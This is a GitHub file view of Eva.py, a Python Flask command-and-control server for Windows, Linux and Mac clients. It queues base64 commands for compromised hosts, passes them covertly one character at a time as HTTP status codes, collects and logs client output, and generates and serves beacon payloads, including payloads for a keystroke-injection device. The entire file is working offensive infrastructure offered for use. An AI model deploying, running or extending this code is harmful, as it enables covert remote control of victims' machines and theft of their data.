Repository navigation
Expand file tree
/
Copy pathEva.py
More file actions
179 lines (153 loc) · 5.87 KB
/
Copy pathEva.py
File metadata and controls
179 lines (153 loc) · 5.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
"""
Eva - Python C2 Server (via Flask Webhook)
Copyright (C) 2025 Trigat
"""
from flask import Flask, abort, request, Response, send_from_directory
from datetime import datetime
import deploy_beacon
import base64
import sys
import os
app = Flask(__name__)
current_command = {}
client_output_log = {} # Stores output per client
os_map = {"win": "w", "lin": "l", "mac": "m", "w": "w", "l": "l", "m": "m"}
os_fullname = {"w": "win", "l": "lin", "m": "mac"}
current_dir = os.path.dirname(__file__)
if len(sys.argv) > 1:
server_url = f"{sys.argv[1]}"
else:
from deploy_beacon import get_local_ip
server_url = f"http://{get_local_ip()}:8000"
beacon_code = deploy_beacon.generate_http_win_cmd(server_url)
print("\n" + "=" * 50)
print("[!] Welcome to Eva Command and Control")
print("=" * 50)
print("[*] Beacon payloads have been generated in:")
print(" → http://localhost:8000/qd\n")
print("[*] Example payload for Windows (run via CMD):\n")
print(beacon_code.strip())
print("\n" + "=" * 50 + "\n")
@app.route("/cmd/<b64>", methods=["GET"])
def set_cmd(b64):
try:
decoded = base64.b64decode(b64.encode()).decode()
for cid in current_command.keys():
current_command[cid] = decoded
print(f"[+] Set command for all clients: {repr(decoded)}")
return "OK\n"
except Exception as e:
print(f"[!] Decode error: {e}")
return "ERROR\n", 400
@app.route("/cmd/<os>/<b64>", methods=["GET"])
def set_cmd_by_os(os, b64):
try:
if os not in ("w", "l", "m", "win", "lin", "mac"):
return "Invalid\n", 40
decoded = base64.b64decode(b64.encode()).decode()
os = os_map.get(os.lower())
target_os = os.lower()
for cid in current_command.keys():
if cid.startswith(target_os):
current_command[cid] = decoded
print(f"[+] Set command for {os_fullname[target_os].upper()} clients: {repr(decoded)}")
return "OK\n"
except Exception as e:
print(f"[!] Decode error: {e}")
return "ERROR\n", 400
@app.route("/poll", methods=["GET"])
def poll():
cid = request.headers.get("X-Client")
if not cid:
return "[!] Missing X-Client header\n", 400
# Receive result from client
output = request.headers.get("X-Output")
if output:
try:
result = base64.b64decode(output).decode()
client_output_log.setdefault(cid, "")
client_output_log[cid] += result + "\n"
os_tag = cid.split("-")[0]
with open("log/log.txt", "a", encoding="utf-8") as f:
f.write(
f"\n{datetime.now().isoformat()}"
f"\n[{cid} - {os_fullname[os_tag].upper()} - OUTPUT]"
f"\n{result}\n"
)
print(f"[{cid} OUTPUT]\n{result}")
except Exception as e:
print(f"[!] Decode error from {cid}: {e}")
# Initialize command buffer if missing
current_command.setdefault(cid, "")
# Send next character of command
if current_command[cid]:
char = current_command[cid][0]
current_command[cid] = current_command[cid][1:]
code = 200 + ord(char)
print(f"[>] Sending char: {repr(char)} as status code {code}")
return "", code
else:
return "", 204
@app.route("/cmd/hook", methods=["GET"])
def view_output():
if not client_output_log:
return Response("[No output received yet]", mimetype="text/plain")
output = ""
for cid, log in client_output_log.items():
os_tag = cid.split("-")[0]
output += f"== Client {cid} - {os_fullname[os_tag].upper()} ==\n{log}\n"
return Response(output.strip(), mimetype="text/plain")
@app.route("/log/log.txt", methods=["GET"])
def local_log_access():
if request.remote_addr != '127.0.0.1':
abort(403)
try:
with open("log/log.txt", "r", encoding="utf-8") as f:
content = f.read()
return Response(content, mimetype="text/plain")
except FileNotFoundError:
return Response("[Log file not found]", mimetype="text/plain")
@app.route("/cmd/clean", methods=["GET"])
def clear_output():
client_output_log.clear()
try:
open("log/log.txt", "w").close()
except Exception as e:
print(f"[!] Error clearing log file: {e}")
return "Output cleared\n"
# Quick Deploy
@app.route("/qd/<path:filename>", methods=["GET"])
def serve_qd_file(filename):
qd_path = os.path.join(current_dir, "qd")
return send_from_directory(qd_path, filename)
@app.route("/qd", methods=["GET"])
def list_qd_files():
if request.remote_addr != "127.0.0.1":
abort(403)
qd_path = os.path.join(current_dir, "qd")
try:
files = []
for root, _, filenames in os.walk(qd_path):
for name in filenames:
rel_path = os.path.relpath(os.path.join(root, name), qd_path)
# Filter out hidden files (those starting with ".")
if not any(part.startswith(".") for part in rel_path.split(os.sep)):
files.append(rel_path)
if not files:
return Response("[No payloads available]", mimetype="text/plain")
listing = "\n".join(f"{server_url}/qd/{f}\n" for f in files)
return Response(listing, mimetype="text/plain")
except Exception as e:
return Response(f"[!] Error: {e}", mimetype="text/plain")
def write_qd(path, content):
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, "w", encoding="utf-8") as f:
f.write(content.strip())
write_qd(f'{current_dir}/qd/http_win.cmd',
deploy_beacon.generate_http_win_cmd(server_url))
write_qd(f'{current_dir}/qd/http_all.py',
deploy_beacon.generate_http_all_python(server_url))
write_qd(f'{current_dir}/qd/OMG/http_win_cmd.txt',
deploy_beacon.generate_omg_http_win_cmd(server_url))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)